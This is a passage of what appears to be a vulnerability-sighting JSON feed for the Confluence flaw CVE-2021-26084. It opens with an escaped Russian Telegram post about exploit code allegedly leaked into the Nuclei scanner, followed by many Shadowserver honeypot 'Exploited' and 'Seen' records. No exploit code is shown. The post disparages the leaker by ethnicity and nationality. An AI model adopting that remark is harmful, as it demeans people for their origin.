\u0414\u043e\u0433\u0430\u0434\u0430\u0439\u0442\u0435\u0441\u044c \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \ud83d\ude48 \n\u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0442\u0449\u0435\u0441\u043b\u0430\u0432\u043d\u044b\u0439 \u0438\u043d\u0434\u0443\u0441 \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u0434 \u0432 \u043e\u043f\u0435\u043d\u0441\u043e\u0440\u0441\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440. \u041f\u0440\u0438\u0447\u0435\u043c \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0441 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0435\u0441\u0441\u0438\u0439 \u0440\u0438\u0441\u0451\u0440\u0447\u0435\u0440\u043e\u0432. \u041a\u043e\u0433\u0434\u0430 \u044f \u0447\u0438\u0442\u0430\u044e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435, \u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0447\u043e \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043c\u0435\u0441\u0442\u043e \u043c\u043e\u0437\u0433\u043e\u0432 - \u0445\u043b\u0435\u0431\u0443\u0448\u0435\u043a. \n\u041f\u043e\u043b\u044e\u0431\u0443\u0439\u0442\u0435\u0441\u044c - https://twitter.com/redragonvn/status/1435209440035172363\n\u041d\u0443, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u0438\u0434\u0443\u0442 \u043a\u0440\u0438\u0432\u044b\u0435 \u043e\u0442\u043c\u0430\u0437\u043a\u0438: \"\u041e\u0439, \u043c\u0430\u043c, \u044f \u044d\u0442\u043e \u043d\u0435 \u0443\u043a\u0440\u0430\u043b, \u044f \u044d\u0442\u043e \u043d\u0430 \u0443\u043b\u0438\u0446\u0435 \u043d\u0430\u0448\u0435\u043b\" (https://twitter.com/DhiyaneshDK/status/1435246279802515457)\n\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f. \u0420\u0438\u0441\u0451\u0440\u0447\u0435\u0440\u044b \u0437\u0430\u0441\u043b\u0430\u043b\u0438 \u043a\u043e\u0434 \u0432 Vmware. \u041f\u043e\u0442\u043e\u043c \u0432 PayTm. \u041d\u0443, \u0430 \u0432 PayTM \u0441\u0438\u0434\u0435\u043b \u0441\u043a\u0440\u0438\u043f\u0442\u043a\u0438\u0434\u0438\u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0435\u043c\u0430\u043b\u0441\u044f \u0437\u0430\u043b\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0433\u0438\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Nuclei. \u0422\u0443\u0442 \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0432 \u0442\u043e\u043c \u0447\u0442\u043e \u043e\u043d \u0443\u043a\u0440\u0430\u043b, \u0430 \u0432 \u0442\u043e\u043c \u0447\u0442\u043e \u0432\u044b\u0432\u0430\u043b\u0438\u043b \u0432 \u043f\u0430\u0431\u043b\u0438\u043a. \u0412\u0435\u0434\u044c \u0443\u0436\u0435 \u043a \u043a\u043e\u043d\u0446\u0443 \u043d\u0435\u0434\u0435\u043b\u0438 \u0432 \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u0445 \u043f\u0435\u0441\u0442\u0440\u0438\u043b\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u043a\u0430\u043a \u0432\u0441\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e\u0434\u0432\u0435\u0433\u0440\u0430\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Confluence. \nPS: \u0442\u0435\u043f\u0435\u0440\u044c \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u0441\u0442\u043e\u0438\u0442 \u0434\u0443\u043c\u0430\u0442\u044c \u043e \u0442\u043e\u043c \u0432 \u043a\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\u0431 \u0442\u0432\u043e\u0438 \u0442\u0440\u0443\u0434\u044b \u043d\u0435 \u0441\u0442\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \u041d\u0443 \u0438\u043b\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0418\u043d\u0434\u0438\u0438 \ud83d\ude04", "url": "https://t.me/pigPeter/295"}, {"timestamp": "2024-12-12T00:00:00Z", "date_only": false, "value": "2024-12-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "97c45a42-169b-4412-bb61-d27681708441"}, {"timestamp": "2024-12-15T00:00:00Z", "date_only": false, "value": "2024-12-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "37d7e872-3c78-4ab3-8f89-d997d88af714"}, {"timestamp": "2024-12-16T00:00:00Z", "date_only": false, "value": "2024-12-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b32f7aa2-8f60-4a9e-bcdd-79dbe884b5b2"}, {"timestamp": "2024-12-22T00:00:00Z", "date_only": false, "value": "2024-12-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6798cb61-beb2-477a-8239-e8a086263213"}, {"timestamp": "2024-12-23T00:00:00Z", "date_only": false, "value": "2024-12-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0ce0c196-3b9f-437f-b1c0-54737a5c547b"}, {"timestamp": "2024-12-24T20:24:33.617Z", "date_only": false, "value": "2024-12-24T20:24:33.617561Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971121", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a5d3a4e4-545c-4b90-b848-8281268a2d44", "url": "https://feedsin.space/feed/CISAKevBot/items/2971121"}, {"timestamp": "2024-12-26T00:00:00Z", "date_only": false, "value": "2024-12-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1278625c-cb1a-4d40-8e7c-c933b83e8513"}, {"timestamp": "2024-12-27T00:00:00Z", "date_only": false, "value": "2024-12-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ec75bf2e-a7c9-40f4-88e7-3667ffd0972e"}, {"timestamp": "2024-12-30T00:00:00Z", "date_only": false, "value": "2024-12-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5d8ebd72-1655-4a39-9942-2fd5121283cf"}, {"timestamp": "2025-01-01T00:00:00Z", "date_only": false, "value": "2025-01-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3c4c0520-0e59-4f0e-8f4d-89a7fa4f9734"}, {"timestamp": "2025-01-05T00:00:00Z", "date_only": false, "value": "2025-01-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1aa6e8cc-e86f-4e54-b760-50d62eda6ef4"}, {"timestamp": "2025-01-05T00:00:00Z", "date_only": false, "value": "2025-01-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6b20fac3-89d6-4437-a78f-c0df9ecab51f"}, {"timestamp": "2025-01-06T00:00:00Z", "date_only": false, "value": "2025-01-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "45eb69e8-c513-4606-97a9-6a1567dc1579"}, {"timestamp": "2025-01-07T00:00:00Z", "date_only": false, "value": "2025-01-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d3d9a2ff-53dc-4e58-b458-d1ed273f5614"}, {"timestamp": "2025-01-08T00:00:00Z", "date_only": false, "value": "2025-01-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bf439631-c66e-4467-b1a0-6c121aa7dc13"}, {"timestamp": "2025-01-13T00:00:00Z", "date_only": false, "value": "2025-01-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e1932597-808f-415e-99cd-1aefcf9256d8"}, {"timestamp": "2025-01-20T00:00:00Z", "date_only": false, "value": "2025-01-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b0353a90-795e-467f-8d67-2e4db0a15a43"}, {"timestamp": "2025-01-21T00:00:00Z", "date_only": false, "value": "2025-01-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b54500ed-3bdb-469e-b430-af425b0a2276"}, {"timestamp": "2025-01-23T00:00:00Z", "date_only": false, "value": "2025-01-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9ba515f1-736e-4f4c-b56d-9c20d979a8f7"}, {"timestamp": "2025-01-26T00:00:00Z", "date_only": false, "value": "2025-01-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "29109c5c-36f6-43d9-91ff-d3f7a05572ef"}, {"timestamp": "2025-01-26T00:00:00Z", "date_only": false, "value": "2025-01-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ff1a5279-68e9-465c-8437-13a2f78e7196"}, {"timestamp": "2025-01-27T00:00:00Z", "date_only": false, "value": "2025-01-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "138a3936-87f2-4700-a66b-d39832cdf812"}, {"timestamp": "2025-01-27T00:00:00Z", "date_only": false, "value": "2025-01-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0500661b-821c-479c-a15b-959a870e3e2e"}, {"timestamp": "2025-01-28T00:00:00Z", "date_only": false, "value": "2025-01-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "11070f33-993f-4548-a7a0-ddf58e24d3d6"}, {"timestamp": "2025-01-28T00:00:00Z", "date_only": false, "value": "2025-01-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "98c04ec3-b416-463b-97ac-6edd48e51d31"}, {"timestamp": "2025-01-29T00:00:00Z", "date_only": false, "value": "2025-01-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1f6f30e0-a413-4d10-9dbd-a544431004b2"}, {"timestamp": "2025-01-29T00:00:00Z", "date_only": false, "value": "2025-01-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "848b7282-4a32-4f65-b0c7-4afdc676b993"}, {"timestamp": "2025-02-01T00:00:00Z", "date_only": false, "value": "2025-02-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "98d78fd4-8861-4b32-bd39-29ffd33c327f"}, {"timestamp": "2025-02-03T00:00:00Z", "date_only": false, "value": "2025-02-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "824f6342-4dd6-4744-ba0c-c01ae235a99f"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7d90a95f-ed64-4153-9d34-2de9aab57e92"}, {"timestamp": "2025-02-08T00:00:00Z", "date_only": false, "value": "2025-02-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a3ed7d8d-088b-4940-b288-97e22328a536"}, {"timestamp": "2025-02-08T00:00:00Z", "date_only": false, "value": "2025-02-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f2476068-232e-4110-af0f-a6bc81094674"}, {"timestamp": "2025-02-09T00:00:00Z", "date_only": false, "value": "2025-02-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c43bec03-fc5e-4c94-8388-66f8e56c921f"}, {"timestamp": "2025-02-09T00:00:00Z", "date_only": false, "value": "2025-02-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b4498480-e71a-4451-a93c-c152420bc997"}, {"timestamp": "2025-02-10T00:00:00Z", "date_only": false, "value": "2025-02-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7e66ec56-9bfe-40ba-973f-861a842abb27"}, {"timestamp": "2025-02-10T00:00:00Z", "date_only": false, "value": "2025-02-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "750a6c42-6a32-438d-97ba-7b754c4f6c71"}, {"timestamp": "2025-02-12T00:00:00Z", "date_only": false, "value": "2025-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a0c946ca-8376-49b2-8d05-c73d3454c63a"}, {"timestamp": "2025-02-12T00:00:00Z", "date_only": false, "value": "2025-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "abccf1c4-4770-41a8-b595-a250346f1d65"}, {"timestamp": "2025-02-13T00:00:00Z", "date_only": false, "value": "2025-02-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e71f4c2e-3635-4259-8224-df1d61ff41dd"}, {"timestamp": "2025-02-14T00:00:00Z", "date_only": false, "value": "2025-02-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fa111711-a42e-4351-86a5-17b95d058cc9"}, {"timestamp": "2025-02-14T00:00:00Z", "date_only": false, "value": "2025-02-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e72d6f40-6664-4235-9e40-a665ad47913e"}, {"timestamp": "2025-02-14T10:00:28Z", "date_only": false, "value": "2025-02-14T10:00:28.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/-rACCJVU6hhNXToMzedDqpY2wNqAPFzEVL3LM7kMZNXazTu-", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7b6e10ac-1dba-4d54-aaba-28ea7905c149"}, {"timestamp": "2025-02-15T00:00:00Z", "date_only": false, "value": "2025-02-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1361ef64-0086-4031-b6b8-df20dd14ffa0"}, {"timestamp": "2025-02-15T00:00:00Z", "date_only": false, "value": "2025-02-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "116c3a18-8ca4-4135-aed5-5cd9d9f44eb5"}, {"timestamp": "2025-02-16T00:00:00Z", "date_only": false, "value": "2025-02-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c98382b0-5f4a-4457-bf7d-b567d8272ff4"}, {"timestamp": "2025-02-16T00:00:00Z", "date_only": false, "value": "2025-02-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3b626c33-b1e6-4beb-bf18-3dfefdf53ac4"}, {"timestamp": "2025-02-17T00:00:00Z", "date_only": false, "value": "2025-02-17T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e449307f-6a8c-4d84-a7ee-6936c1ce880f"}, {"timestamp": "2025-02-17T00:00:00Z", "date_only": false, "value": "2025-02-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "de5c31d7-1e1c-4dd2-8855-988380d80cfa"}, {"timestamp": "2025-02-18T00:00:00Z", "date_only": false, "value": "2025-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7d908b83-e9c8-41d5-bb91-b13a685e94ce"}, {"timestamp": "2025-02-18T00:00:00Z", "date_only": false, "value": "2025-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5c8b177e-804d-4128-8fee-941ec98d82eb"}, {"timestamp": "2025-02-19T00:00:00Z", "date_only": false, "value": "2025-02-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f1c3af52-e7b4-4e4d-baea-535387867faf"}, {"timestamp": "2025-02-19T00:00:00Z", "date_only": false, "value": "2025-02-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "eea3543e-19c0-49ec-af9c-a2d37ef54f18"}, {"timestamp": "2025-02-22T00:00:00Z", "date_only": false, "value": "2025-02-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0f826c5e-6a89-4b4e-98bc-9d8e86a41f45"}, {"timestamp": "2025-02-22T00:00:00Z", "date_only": false, "value": "2025-02-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fc2b11dd-71f2-474b-bac5-83fc0e558445"}, {"timestamp": "2025-02-23T00:00:00Z", "date_only": false, "value": "2025-02-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "644b11c8-1a8b-4842-9931-7875ae439430"}, {"timestamp": "2025-02-23T00:00:00Z", "date_only": false, "value": "2025-02-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9f32f6a1-75ce-4413-a630-a14c5bdd15eb"}, {"timestamp": "2025-02-23T02:09:53Z", "date_only": false, "value": "2025-02-23T02:09:53.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "54618e6b-c74b-4556-b03f-3a604fc2cd49"}, {"timestamp": "2025-02-23T04:10:36Z", "date_only": false, "value": "2025-02-23T04:10:36.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ed7bc018-2492-45fb-9092-628dfe11e6d3"}, {"timestamp": "2025-02-24T00:00:00Z", "date_only": false, "value": "2025-02-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8113f316-7b35-448b-ae63-4625031d5f1c"}, {"timestamp": "2025-02-24T00:00:00Z", "date_only": false, "value": "2025-02-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "92a14893-9121-47cc-be96-78d5d031873b"}, {"timestamp": "2025-02-25T00:00:00Z", "date_only": false, "value": "2025-02-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f07b69e9-439c-4c36-8ec5-36ba9ea42f22"}, {"timestamp": "2025-02-26T00:00:00Z", "date_only": false, "value": "2025-02-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7091c90d-f9f8-4b6c-8d5a-56f10440a968"}, {"timestamp": "2025-02-26T00:00:00Z", "date_only": false, "value": "2025-02-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4133ad0b-4845-4c65-aca1-a8bdbbf5a092"}, {"timestamp": "2025-02-28T00:00:00Z", "date_only": false, "value": "2025-02-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "61265aa8-6d58-4d57-9f44-68bb881d48f8"}, {"timestamp": "2025-02-28T00:00:00Z", "date_only": false, "value": "2025-02-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b5578297-2dfd-4e13-9943-3690bfcb2aaa"}, {"timestamp": "2025-03-01T00:00:00Z", "date_only": false, "value": "2025-03-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0296ffe4-f4e7-4b29-bb18-7e2be0de0d64"}, {"timestamp": "2025-03-02T00:00:00Z", "date_only": false, "value": "2025-03-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cc843363-7da6-4cae-9368-f99804abe5ba"}, {"timestamp": "2025-03-04T00:00:00Z", "date_only": false, "value": "2025-03-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "df2a9c6b-0ade-4147-85cd-29af0f7f9740"}, {"timestamp": "2025-03-05T00:00:00Z", "date_only": false, "value": "2025-03-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9727305f-bc11-4fcd-867b-1053d8a23616"}, {"timestamp": "2025-03-06T00:00:00Z", "date_only": false, "value": "2025-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7168710e-9184-4183-9caa-72121a9d739b"}, {"timestamp": "2025-03-07T00:00:00Z", "date_only": false, "value": "2025-03-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d08afafb-07a0-4385-91a6-8a89735f91ed"}, {"timestamp": "2025-03-07T00:00:00Z", 